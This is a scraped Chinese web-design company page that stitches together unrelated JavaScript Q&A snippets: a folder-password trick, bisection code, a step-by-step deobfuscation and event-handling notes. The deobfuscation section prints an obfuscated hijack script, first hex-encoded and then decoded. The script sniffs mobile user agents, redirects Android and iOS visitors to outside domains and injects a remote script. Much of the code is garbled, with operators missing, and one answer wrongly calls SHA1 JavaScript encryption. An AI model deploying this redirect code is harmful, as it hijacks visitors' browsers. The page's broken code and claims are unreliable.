快上网专注成都网站设计 成都网站制作 成都网站建设
成都网站建设公司服务热线:028-86922220

网站建设知识

十年网站开发经验 + 多家企业客户 + 靠谱的建站团队

量身定制 + 运营维护+专业推广+无忧售后,网站问题一站解决

javascript解,javascript解构赋值

请问一下这个javascript文件如何解密呢?

利用Windows自带功能我们就能轻松的为文件夹设定密码。

创新互联是一家集网站建设,芦溪企业网站建设,芦溪品牌网站建设,网站定制,芦溪网站建设报价,网络营销,网络优化,芦溪网站推广为一体的创新建站企业,帮助传统企业提升企业形象加强企业竞争力。可充分满足这一群体相比中小企业更为丰富、高端、多元的互联网需求。同时我们时刻保持专业、时尚、前沿,时刻以成就客户成长自我,坚持不断学习、思考、沉淀、净化自己,让我们为更多的企业打造出实用型网站。

1.在Windows 9X/Me/2000中

进入要加密的文件夹,点击右键,在弹出的菜单中选择“自定义文件夹“。接下来在向导中点击“下一步”,选择“自定义”并勾选“选择或编辑该文件夹的Html模板”,在模板类型中选择“标准”,并选中“编辑该模板”,点击下一步(在Win98中稍有不同,直接在向导中选择“创建或编辑HTML文档”即可)。此时将会打开一个名为“Folder”的文本文件。在该文件中找到<script language="javascript">字段,在其下方输入以下内容(中文双引号内为注释内容,不需要输入):

var pass=prompt("Please Enter the Password");“prompt命令后的括号内输入进入文件夹后的提示用语,可以为中文。分号可省略。可此行必须单独一行”

if(pass!="123")“密码为123,也可以设置为其他密码”

{window.location="c:"}“若密码错误,则进入C盘,也可以设为别的分区,但是只能为根目录”

保存后退出该文件设置便可以起效。folder.htt文件在创建后,下次需要更改设置我们就可以直接在文件夹中找到folder.htt文件,用记事本打开后进行修改,保存后设置即可生效。若是在WinMe操作系统,则没有<script language="javascript">字段,我们要找的字段是<script>,把上面的内容放在该字段后即可。

如何用javascript实现二分法解方程?

函数式:

(function(){

var accuracy = 0.001;

function mid(a,b){

return (a + b) / 2;

}

function f(x){

return x*x*x - 3*x - 1;

}

alert((function calc(a,b){

return b-a = accuracy

("a = " + a + "\nb = " + b)||

(f(mid(a,b))*f(a)=0

calc(mid(a,b), b)||

calc(a, mid(a,b)))

})(1,2));

})()

非函数式:

(function(){

var accuracy = 0.001;

function mid(a,b){

return (a + b) / 2;

}

function f(x){

return x*x*x - 3*x - 1;

}

(function calc(a,b){

if(b-a = accuracy){

alert("a = " + a + "\nb = " + b);

}else{

var res_a = f(a);

var res_b = f(b);

var res_mid = f(mid(a,b));

var judge = res_a * res_mid;

if(judge == 0){

alert("a = " + mid(a,b) + "\nb = " + mid(a,b));

}else if(judge 0){

a = mid(a,b);

arguments.callee(a,b);

}else{

b = mid(a,b);

arguments.callee(a,b);

}

}

})(1,2)

})()

javascript混淆解码

js反混淆需要借助第三方工具:

1、在百度搜索js混淆还原

2、把要还原的代码放在第一个文本框,点击js解混淆就可以了。

结果在下面显示

JavaScript解密

第一步解码:

var _$ = ["\x77\x66", "\x3f", "\x26\x74\x3d\x7a\x72", '\x54\x72\x69\x64\x65\x6e\x74', '\x50\x72\x65\x73\x74\x6f', '\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74', '\x47\x65\x63\x6b\x6f', '\x4b\x48\x54\x4d\x4c', '\x41\x6e\x64\x72\x6f\x69\x64', '\x4c\x69\x6e\x75\x78', '\x69\x50\x68\x6f\x6e\x65', '\x69\x50\x61\x64', '\x53\x61\x66\x61\x72\x69', "\x68\x74\x74\x70\x3a\x2f\x2f\x62\x61\x69\x64\x75\x2d\x67\x6f\x6f\x67\x6c\x65\x2d\x73\x6f\x67\x6f\x75\x2d\x73\x6f\x73\x6f\x2d\x33\x36\x30\x2d\x71\x71\x2e\x6d\x61\x68\x6a\x75\x6e\x2e\x63\x6f\x6d\x2f\x63\x64\x6e\x2f\x69\x6e\x64\x65\x78\x2e\x68\x74\x6d\x6c\x3f", '\x68\x74\x74\x70\x3a\x2f\x2f\x69\x6f\x73\x2e\x61\x64\x61\x6e\x7a\x68\x75\x6f\x2e\x63\x6f\x6d\x2f\x67\x6f\x33\x2e\x70\x68\x70\x3f', '\x26\x74\x69\x64\x3d\x31\x35', "\x3c\x73\x63\x72\x69\x70\x74\x20\x74\x79\x70\x65\x3d\'\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\'\x20\x63\x68\x61\x72\x73\x65\x74\x3d\'\x67\x62\x32\x33\x31\x32\'\x20\x73\x72\x63\x3d\'\x68\x74\x74\x70\x3a\x2f\x2f\x6a\x73\x2e\x61\x64\x6d\x2e\x63\x6e\x7a\x7a\x2e\x6e\x65\x74\x2f\x73\x2e\x70\x68\x70\x3f\x73\x69\x64\x3d\x32\x36\x37\x31\x37\x34\'\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e"];

var a = window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64"](_$[0])["\x73\x72\x63"];src = a["\x73\x70\x6c\x69\x74"](_$[1])[0x1] + _$[2];

var b = {

versions: function() {

var c = navigator["\x75\x73\x65\x72\x41\x67\x65\x6e\x74"],

d = navigator["\x61\x70\x70\x56\x65\x72\x73\x69\x6f\x6e"];

return {

trident: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[3])  -0x1,

presto: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[4])  -0x1,

webKit: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[5])  -0x1,

gecko: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[6])  -0x1  c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[7]) == -0x1,

mobile: !!c["\x6d\x61\x74\x63\x68"](/AppleWebKit.*Mobile.*/),

ios: !!c["\x6d\x61\x74\x63\x68"](/\(i[^;]+;( U;)? CPU.+Mac OS X/),

android: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[8])  -0x1 || c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[9])  -0x1,

iPhone: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[10])  -0x1,

iPad: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[11])  -0x1,

webApp: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[12]) == -0x1

}

} (),

language: (navigator["\x62\x72\x6f\x77\x73\x65\x72\x4c\x61\x6e\x67\x75\x61\x67\x65"] || navigator["\x6c\x61\x6e\x67\x75\x61\x67\x65"])["\x74\x6f\x4c\x6f\x77\x65\x72\x43\x61\x73\x65"]()

};

if (b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x6d\x6f\x62\x69\x6c\x65"] != false  b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x61\x6e\x64\x72\x6f\x69\x64"] != false) {

window["\x6c\x6f\x63\x61\x74\x69\x6f\x6e"]["\x68\x72\x65\x66"] = _$[13] + src

} else if (b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x6d\x6f\x62\x69\x6c\x65"] != false  (b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x69\x50\x68\x6f\x6e\x65"] != false || b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x69\x50\x61\x64"] != false || b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x69\x50\x6f\x64"] != false)) {

window["\x6c\x6f\x63\x61\x74\x69\x6f\x6e"]["\x68\x72\x65\x66"] = _$[14] + src + _$[15]

};

window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"](_$[16]);

第二步解码:

var _$ = ["wf", "?", "t=zr", 'Trident', 'presto', 'AppleWebkit', 'Gecko', 'kHTML', 'Android', 'Linux', 'iphone', 'ipad', 'Safari', 'tid=15', "script type=\'text/javascript\' charset=\'gb2312\' src=\'\'/script"

];

var a = window["document"]["getElementById"](_$[0])["src"];src = a["split"](_$[1])[0x1] + _$[2];

var b = {

versions: function() {

var c = navigator["userAgent"],

d = navigator["appVersion"];

return {

trident: c["indexOf"](_$[3])  -0x1,

presto: c["indexOf"](_$[4])  -0x1,

webKit: c["indexOf"](_$[5])  -0x1,

gecko: c["indexOf"](_$[6])  -0x1  c["indexOf"](_$[7]) == -0x1,

mobile: !!c["match"](/AppleWebKit.*Mobile.*/),

ios: !!c["match"](/\(i[^;]+;( U;)? CPU.+Mac OS X/),

android: c["indexOf"](_$[8])  -0x1 || c["indexOf"](_$[9])  -0x1,

iPhone: c["indexOf"](_$[10])  -0x1,

iPad: c["indexOf"](_$[11])  -0x1,

webApp: c["indexOf"](_$[12]) == -0x1

}

} (),

language: (navigator["browserLanguage"] || navigator["language"])["toLower\x43ase"]()

};

if (b["versions"]["mobile"] != false  b["versions"]["android"] != false) {

window["location"]["href"] = _$[13] + src

} else if (b["versions"]["mobile"] != false  (b["versions"]["iphone"] != false || b["versions"]["ipad"] != false || b["versions"]["ipod"] != false)) {

window["location"]["href"] = _$[14] + src + _$[15]

};

window["document"]["writeln"](_$[16]);

第三步解码

var a = document.getElementById('wf').src;

src = a.split('?')[1] + 't=zr';

var b = {

versions: function() {

var c = navigator.userAgent,

d = navigator.appVersion;

return {

trident: c.indexOf('Trident')  -1,

presto: c.indexOf( 'presto')  -1,

webKit: c.indexOf('AppleWebkit')  -1,

gecko: c.indexOf('Gecko')  -1  c.indexOf('kHTML') == -1,

mobile: !!c.match.(/AppleWebKit.*Mobile.*/),

ios: !!c.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/),

android: c.indexOf('Android')  -1 || c.indexOf('Linux')  -1,

iPhone: c.indexOf('iphone')  -1,

iPad: c.indexOf('ipad')  -1,

webApp: c.indexOf('Safari') == -1

}

} (),

language: (navigator.browserLanguage || navigator.language).toLowerCase();

};

if (b["versions"]["mobile"] != false  b["versions"]["android"] != false) {

location.href =  '?' + src

} else if (b["versions"]["mobile"] != false  (b["versions"]["iphone"] != false || b["versions"]["ipad"] != false || b["versions"]["ipod"] != false)) {

location.href  =  '?' + src + 'tid=15'

};

document.writeln('script type=\'text/javascript\' charset=\'gb2312\' src=\'\'/script');

加密的JavaScript程序怎样解密

很多JavaScript在加密后是不可以再解密的,JavaScript加密相当于是字符串加密。JavaScript加密被叫做加密混淆,例如:sha1。

javascript详解

1.为对象的自定义属性,即往window对象添加$和getMouseCoords两个函数,isIE一个属性

由于这3个都是声明在函数外,所以调用时 和 使用var 没有区别

用window.代表是全局的,var 则要根据使用的地方来决定其有效范围

2.简写的if语法 (obj)?true:false 或 (bool)?true:false 括号可以省略

即if(obj!=null) { return "问号后面的值" } else { return "冒号后面的值" }

或if(bool == true){同上}else{}

这里嵌套了两层

if(document.getElementById == null){ //判断当前浏览器是否支持getElementById

return document.getElementById(obj)

} else {

if (document.all == null) { //判断当前浏览器是否支持document.all

return document.all[obj]

}else{

return obj

}

}

3.同上判断是否存在参数a,不存在的话 为a赋值,"!"表示取反

if (!(a != null)) {//即a不存在时,这里a指onmousedown触发时的 鼠标参数(坐标等)

a=window.event;//event代表事件的状态,包括鼠标、键盘的参数

}

layerX 鼠标以事件触发元素内界的左上角横坐标,layerY为纵坐标

如单击按钮时,鼠标相对该按钮左上角横坐标的像素值


网页名称:javascript解,javascript解构赋值
转载来于:http://6mz.cn/article/dsiehis.html

其他资讯